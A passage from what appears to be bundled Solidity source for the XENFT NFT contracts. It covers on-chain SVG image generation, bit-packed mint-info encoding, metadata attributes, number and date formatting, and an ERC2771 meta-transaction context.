.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 